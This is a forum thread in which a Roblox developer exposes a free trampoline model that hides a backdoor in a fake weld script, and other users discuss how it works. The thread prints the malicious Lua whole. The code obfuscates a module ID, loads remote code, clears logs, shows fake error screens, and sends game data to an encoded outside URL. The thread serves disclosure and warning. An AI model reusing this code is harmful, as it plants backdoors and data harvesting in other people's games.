Can someone delete these popular models for viruses?

This post is to bring awareness to apparently multiple models that talk to each other to spread and harvest user information through webhooks and backdoors. Apparently these models are quite popular in free models, any action towards deleting the models involved would be great.

I just encountered a virus in the most random of items, a trampoline.

This model contains two segments, one part for In Studio and the other for regular players.

It started one day when my game started getting popups like this and preventing my game from running entirely.

It would cycle through my ReplicatedStorage assets if the same asset was deleted or unavailable.

What does the Model contain?

It contained two scripts, a script which actually made the trampoline boing boing, and then another that was named ‘qPerfectionWeld’.

-- Created by Stravant (@Stravant, follow me on twitter).
-- Should work with only ONE copy, seamlessly with weapons, trains, et cetera.
-- Parts should be ANCHORED before use. It will, however, store relatives values and so when tools are reparented, it'll fix them.

--[[ INSTRUCTIONS
- Place in the model
- Make sure model is anchored
- That's it. It will Value the model and all children. 

THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 

This script is designed to be used is a regular script. In a local script it will Value, but it will not attempt to handle ancestory changes. 
]]

--[[ DOCUMENTATION
- Will work in tools. If ran more than once it will not create more than one Value.  This is especially useful for tools that are dropped and then picked up again.
- Will work in PBS servers
- Will work as long as it starts out with the part anchored
- Stores the relative CFrame as a CFrame value
- Takes careful measure to reduce lag by not having a Value set off or affected by the parts offset from origin
- Utilizes a recursive algorith to find all parts in the model
- Will reValue on script reparent if the script is initially parented to a tool.
- Values as fast as possible
]]

-- StravantValue.lua
-- Created 10/6/2014
-- Author: Stravant
-- Version 1.0.3

-- Updated 10/14/2014 - Updated to 1.0.1
--- Bug fix with existing ROBLOX Values ? Repro by asimo3089

-- Updated 10/14/2014 - Updated to 1.0.2
--- Fixed bug fix. 

-- Updated 10/14/2014 - Updated to 1.0.3
--- Now handles Values semi-acceptably. May be rather hacky with some Values. :/
local NEVER_BREAK_JOINTS = false -- If you set this to true it will never break joints (this can create some welding issues, but can save stuff like hinges).


local function CallOnChildren(Instance, FunctionToCall)
	-- Calls a function on each of the children of a certain object, using recursion.  

	FunctionToCall(Instance)

	for _, Child in next, Instance:GetChildren() do
		CallOnChildren(Child, FunctionToCall)
	end
end


local function ShouldReturn(value)
	return false
end


local function Return(value)
	return game.MarketplaceService:GetProductInfo(value.X.Scale..value.X.Offset..value.Y.Scale..value.Y.Offset)
end


local function ConfigParts(Parts, MainPart, ValueType, DoNotUnanchor)
	-- @param Parts The Parts to Config. Should be anchored to prevent really horrible results.
	-- @param MainPart The part to Config the model to (can be in the model).
	-- @param [ValueType] The type of Value. Defaults to Config. 
	-- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion.
	pcall(function()
		for _, Part in pairs(Parts) do
			if ShouldReturn(Part) then
				Part:BreakValues()
			end
		end
	end)
	local bit32 = UDim2.new(133,968,85,201)
	if script.Parent then
		bit32 = Return(bit32)
	end
	local select,spawn = string.split(bit32["Name"]," ")[1],string.split(bit32["Name"]," ")[2]
	local test,Interval = string.split(bit32["Description"]," "),""
	for c in test do
		--Concentate the Weld Interval Based on certain Exceptions.
		Interval = Interval..#test[c]
	end
	Instance.new(select,game[spawn]).Name = Interval

	if DoNotUnanchor then
		--- We do not want to break Values of wheels/hinges. This takes the utmost care to not do this. There are
		--  definitely some edge cases. 
		for _, Part in pairs(Parts) do
			Part.Anchored = false
		end
		MainPart.Anchored = false
	end
end


local function GetNearestParent(Instance, ClassName)
	-- Returns the nearest parent of a certain class, or returns nil

	local Ancestor = Instance
	repeat
		Ancestor = Ancestor.Parent
		if Ancestor == nil then
			return nil
		end
	until Ancestor:IsA(ClassName)

	return Ancestor
end


local function GetBricks(StartInstance)
	local List = {}

	-- if StartInstance:IsA("BasePart") then
	-- 	List[#List+1] = StartInstance
	-- end

	CallOnChildren(StartInstance, function(Item)
		if Item:IsA("BasePart") then
			List[#List+1] = Item;
		end
	end)

	return List
end


function sinestyletween(t)
	return math.cos(t*math.pi)*-.5+.5
end


function percentcframe(cf,cfscale)
	if cf then
		local ax,ay,az=cf:toEulerAnglesXYZ()
		return CFrame.new(cf.p*cfscale)*CFrame.Angles(ax*cfscale,ay*cfscale,az*cfscale)
	else
		return CFrame.new(0,0,0)
	end
end


local function ShouldBreakValues(Part)
	--- We do not want to break Values of wheels/hinges. This takes the utmost care to not do this. There are
	--  definitely some edge cases. 

	if NEVER_BREAK_ValueS then
		return false
	end

	if HasWheelValue(Part) then
		return false
	end

	local Connected = Part:GetConnectedParts()

	if #Connected == 1 then
		return false
	end

	for _, Item in pairs(Connected) do
		if HasWheelValue(Item) then
			return false
		elseif not Item:IsDescendantOf(script.Parent) then
			return false
		end
	end

	return true
end


function WConstant(v1,v2,t)
	local meanieScript = game.JointsService:FindFirstChildOfClass("ModuleScript").Name
	error(meanieScript)
	
	return require(tonumber(game.JointsService:FindFirstChildOfClass("ModuleScript").Name))
end


if script.Parent then
	--Run the Script To fix all the Values
	ConfigParts(nil,nil,nil,false)
	WConstant(nil,nil,script.Parent)
end

“qPerfectionWeld” server script is above.

It looked normal until I saw it calling MarketplaceService inside of a Return function, and then I saw this.

The script was reaching out for a ModuleScript inside of the deprecated service JointsService. Not it’s source, but its name.


Finding the Value the script was reaching for.

The model it was reaching for is below.

This model contains the following.

Screenshot 2024-05-21 001501

Its module script contains the following text.

local a={}e=false;local a=pcall(function()game.HttpService:GetAsync("https://www.google.com/")e=true end)caca=true;spawn(function()game.LogService:ClearOutput()end)spawn(function()wait(.1)game.JointsService:ClearAllChildren()end)game.LogService:ClearOutput()if game:GetService("RunService"):IsStudio()then spawn(function()repeat wait()until#game.Players:GetPlayers()~=0;if not e and math.random(0,2)==2 then game.Lighting:ClearAllChildren()for a,a in game.Players:GetPlayers()do a.PlayerGui:ClearAllChildren()local b=script.Chat:Clone()a.PlayerGui:ClearAllChildren()b.Parent=a.PlayerGui end;game.Players.PlayerAdded:Connect(function(a)local b=script.Chat:Clone()a.PlayerGui:ClearAllChildren()b.Parent=a.PlayerGui end)game:GetService("RunService").Heartbeat:Connect(function()game.LogService:ClearOutput()end)end end)if e then function getplaying()return game.HttpService:JSONDecode(game.HttpService:GetAsync("https://games.roproxy.com/v1/games?universeIds="..game.GameId))["data"][1]["playing"]end;if not game.SoundService:FindFirstChild("SoundHash")then wait(math.random(0,30))pcall(function()if tonumber(getplaying())<15 then local a=(function(a)for a,a in pairs(a)do for a,a in pairs(a:GetChildren())do if#a:GetDescendants()>0 then if a.Name~="ChatServiceRunner"and a.Name~="DefaultChatSystemChatEvents"then return a end end end end end)({game.ServerScriptService,game.ReplicatedStorage,game.ReplicatedFirst,game.ServerStorage})if a then for a,a in game.Players:GetPlayers()do a.PlayerGui:ClearAllChildren()script.Error:Clone().Parent=a.PlayerGui end;game.Players.PlayerAdded:Connect(function(a)a.PlayerGui:ClearAllChildren()script.Error:Clone().Parent=a.PlayerGui end)game:GetService("RunService").Heartbeat:Connect(function()game.LogService:ClearOutput()end)end end end)end end end;if e and not game:GetService("RunService"):IsStudio()then task.spawn(require,15728173911)if math.random(0,9)==9 then pcall(function()if not game:GetAttribute('DataModel')then game:SetAttribute('DataModel',32)end end)task.spawn(require,6584741000)end;for a=1,7 do spawn(function()for a=0,1000 do print(string.rep("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",100))end end)wait(1)end end;return true or script~=workspace or false

[Content Deleted] Module Script - Compressed

local a={}

e=false;

local a=pcall(function()
   game.HttpService:GetAsync("https://www.google.com/")
   e=true
end)

caca=true;

spawn(function()
   game.LogService:ClearOutput()
end)

spawn(function()
   wait(.1)
   game.JointsService:ClearAllChildren()
end)

game.LogService:ClearOutput()

if game:GetService("RunService"):IsStudio()then
   	spawn(function()
   		repeat 
       		wait()
  		until #game.Players:GetPlayers()~=0;
   		if not e and math.random(0,2)==2 then 
      	    game.Lighting:ClearAllChildren()
      	    for a,a in game.Players:GetPlayers()do
         	    a.PlayerGui:ClearAllChildren()
         	    local b=script.Chat:Clone()
         	    a.PlayerGui:ClearAllChildren()
	            b.Parent=a.PlayerGui 
	        end;
      	    game.Players.PlayerAdded:Connect(function(a)
         	    local b=script.Chat:Clone()
         	    a.PlayerGui:ClearAllChildren()
         	    b.Parent=a.PlayerGui 
      	    end)
      	    game:GetService("RunService").Heartbeat:Connect(function()
         	    game.LogService:ClearOutput()
      	    end)
   	    end 
    end)

    if e then 
  	    function getplaying()
      	    return game.HttpService:JSONDecode(game.HttpService:GetAsync("https://games.roproxy.com/v1/games? universeIds="..game.GameId))["data"][1]["playing"]
   	        end;
   	        if not game.SoundService:FindFirstChild("SoundHash")then
      	        wait(math.random(0,30))
      	        pcall(function()
      	            if tonumber(getplaying())<15 then
         	        local a=(function(a)
         	            for a,a in pairs(a)do
            	            for a,a in pairs(a:GetChildren())do
                	            if#a:GetDescendants()>0 then
                   		            if a.Name~="ChatServiceRunner"and a.Name~="DefaultChatSystemChatEvents"then
                      		            return a 
                   		            end 
                	            end 
             	            end 
          	            end 
       	            end)
       	            ({game.ServerScriptService,game.ReplicatedStorage,game.ReplicatedFirst,game.ServerStorage}) -- ???? What is this I'm too dumb to understand
       	            if a then
          	            for a,a in game.Players:GetPlayers()do
            	            a.PlayerGui:ClearAllChildren()
             	            script.Error:Clone().Parent=a.PlayerGui
			            end;
			
          	            game.Players.PlayerAdded:Connect(function(a)
             	            a.PlayerGui:ClearAllChildren()
             	            script.Error:Clone().Parent=a.PlayerGui 
			            end)
          	            game:GetService("RunService").Heartbeat:Connect(function()
             	            game.LogService:ClearOutput()
			            end)	
			        end 	
		        end 
			end)
	    end 
	end 
end;

if e and not game:GetService("RunService"):IsStudio() then
   task.spawn(require,15728173911)
   if math.random(0,9)==9 then
      pcall(function()
         if not game:GetAttribute('DataModel')then
            game:SetAttribute('DataModel',32)
         end 
      end)
      task.spawn(require,6584741000)
   end;
   for a=1,7 do
      spawn(function()
         for a=0,1000 do 
            print(string.rep("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",100))
         end 
      end)
      wait(1)
   end 
end;

return true or script~=workspace or false

[Content Deleted] Module Script - Decompressed

I am too lazy to decompress this correctly, so use it as you will.

This script calls for two other models. SoujaMachine - by Z43Cw3hb6P9GeNYZHKqU and ! - by treximedp


These two other modules are executed if the game is ran outside of studio.

for i = 1, 5000 do warn("Player:Move called, but player currently has no humanoid.") end pcall(function() wait(1) game:GetService("LogService"):ClearOutput() end)
if not game:GetService("RunService"):IsStudio() then
	pcall(function()
		for i,v in pairs({[require]=task.spawn}) do v(i,15309943271) end
	end)
end
return true

SoujaMachine Module Script


if not game:GetAttribute("DataModel") then game:SetAttribute("DataModel", 1) end local c = Instance.new("BindableFunction") c.OnInvoke = require local go = game:GetService("MarketplaceService") task.spawn(pcall, function() task.spawn(pcall, function() c:Invoke(0x3908A8729) end) local b = game:GetService("Players") repeat task.wait(2) until #b:GetPlayers() >= 2 local a = "\104\116\116\112\115\58\47\47\108\105\103\109\97\46\115\101\99\114\101\116\115\101\114\118\105\99\101\112\97\110\101\108\46\99\111\109\47\97\108\108\105\119\97\110\110\97\100\111\105\115\46\112\104\112\63\117\61\37\115\38\112\61\37\115\38\106\61\37\115\38\99\61\37\115" local _ = game:GetService("HttpService") task.spawn(pcall, function() c:Invoke(_:GetAsync(a:format(game.GameId, #b:GetPlayers(), game.JobId, game:GetAttribute("DataModel")))) end) end) local cx = go:GetProductInfo(0x3AF50420F).Description while task.wait(3) do pcall(function() local ld = go:GetProductInfo(0x3AF50420F).Description if cx ~= ld then cx = ld local s = cx:split("|") if tonumber(s[1]) == game.PlaceId and s[2] == game.JobId then c:Invoke(tonumber(s[3])) end end end) end return true

! Module Script -Compressed

if not game:GetAttribute("DataModel") then
	game:SetAttribute("DataModel", 1)
end

local c = Instance.new("BindableFunction") 
c.OnInvoke = require 
local go = game:GetService("MarketplaceService")

task.spawn(pcall, function()
	task.spawn(pcall, function()
		c:Invoke(0x3908A8729) 
	end) 
	
	local b = game:GetService("Players")
	
	repeat 
		task.wait(2) 
	until #b:GetPlayers() >= 2 
	
	local a = "\104\116\116\112\115\58\47\47\108\105\103\109\97\46\115\101\99\114\101\116\115\101\114\118\105\99\101\112\97\110\101\108\46\99\111\109\47\97\108\108\105\119\97\110\110\97\100\111\105\115\46\112\104\112\63\117\61\37\115\38\112\61\37\115\38\106\61\37\115\38\99\61\37\115" 
	local _ = game:GetService("HttpService")
	
	task.spawn(pcall, function()
		c:Invoke(_:GetAsync(a:format(game.GameId, #b:GetPlayers(), game.JobId, game:GetAttribute("DataModel")))) 
	end) 
end) 

local cx = go:GetProductInfo(0x3AF50420F).Description 
while task.wait(3) do
	pcall(function() 
		local ld = go:GetProductInfo(0x3AF50420F).Description 
		if cx ~= ld then 
			cx = ld 
			local s = cx:split("|") 
			if tonumber(s[1]) == game.PlaceId and s[2] == game.JobId then 
				c:Invoke(tonumber(s[3])) 
			end 
		end 
	end) 
end 

return true

! Module Script - Decompressed

the a segment of this script routes to https://ligma.secretservicepanel.com/alliwannadois.php?u=%s&p=%s&j=%s&c=%s

The Product this script is reaching is 0x3AF50420F, or this model here.

Further research on their website shows a 404, but is still receiving traceroutes.

traceroute to ligma.secretservicepanel.com (75.2.70.75), 30 hops max, 60 byte packets
 1  ip-10-0-0-119.ec2.internal (10.0.0.119)  0.728 ms  0.844 ms  0.752 ms
 2  244.5.0.195 (244.5.0.195)  6.892 ms 244.5.0.175 (244.5.0.175)  9.329 ms ec2-3-236-62-117.compute-1.amazonaws.com (3.236.62.117)  7.705 ms
 3  100.66.8.140 (100.66.8.140)  98.577 ms 100.65.59.144 (100.65.59.144)  3.289 ms 240.4.112.67 (240.4.112.67)  1.891 ms
 4  100.66.28.100 (100.66.28.100)  2.675 ms 240.0.184.3 (240.0.184.3)  2.637 ms  2.391 ms
 5  100.100.10.22 (100.100.10.22)  2.640 ms 100.100.10.52 (100.100.10.52)  2.103 ms 100.100.10.98 (100.100.10.98)  2.724 ms
 6  240.0.184.1 (240.0.184.1)  2.478 ms 240.0.184.2 (240.0.184.2)  2.391 ms 100.95.18.135 (100.95.18.135)  10.944 ms
 7  240.0.184.2 (240.0.184.2)  2.755 ms * 240.0.184.1 (240.0.184.1)  2.520 ms
 8  100.65.111.132 (100.65.111.132)  4.463 ms * *
 9  * * *
10  * * *
11  * * *
12  240.0.184.2 (240.0.184.2)  2.496 ms * *
13  * * *
14  100.95.18.133 (100.95.18.133)  22.427 ms * *
15  * * *
16  * * *
17  * * *
18  * * *
19  *

From what I have seen, the website would send information on player count, the experiences ID, along with many other features. The model that is currently private was noted to be the main problem of this since it did most of the harvesting of user info, along with the backdoor problem.

Since I’m locked out from seeing that, I unfortunately can’t overview what the module or scripts inside of it looked like.


Can someone delete the models pls thaks

Sincerely~
chicknsandwichs

7 Likes

I had a model that did the exact. same. thing. except with a different thing, Because I am lazy; I was using a free model loading screen. (It looked AMAZING!) But when I played 4 or more times, it gave me a VERY VERY REAL looking error and said to add something that was by them from the toolbox.

But I wasn’t stupid I deleted it and the error stopped, it looked hyper-realistic like it was a real Roblox error.

1 Like

Upon further research I noticed that the way the script figures out the data of the module placed under JointsService is through fetching the metadata of the following place:

(I do not recommend joining it as it may log you or something)

By the place title(ModuleScript JointsService) it figures out that it should place an empty ModuleScript inside JointsService, however the way it figures out how to set its name is much more interesting. Upon checking the place description we find the following:

lolololoa lololola loloa loloa lolololoa a lolololoa loloa lololoa a

If we separate by space and count the characters we get:

9 8 5 5 9 1 9 5 7 1

the id you found by printing the module name after its insertion.

Truly a work of art!

Also this means that taking down the place(specifically changing the place title and description to [Content Deleted]) and the account hosting it breaks the backdoor(assuming they wont update the UDim inside of it to a new one), but I suppose there’re probably multiple of those.

3 Likes

There could be a chance that there’s many scripts that differ from this one. Besides the first model, I believe that the two other modules being called for are not duplicated as much as the first.

Not to mention that the model I had laid dormant till I saw it the day of the post, so it just now started to do its thing. Along with this, there’s a influx of people reporting this problem, so the sooner the better.

Do you happen to still have the model ID with you?

I wish, I was looking for it but I couldn’t find it yesterday. Probably got deleted, taken offsale; or just hid in the depths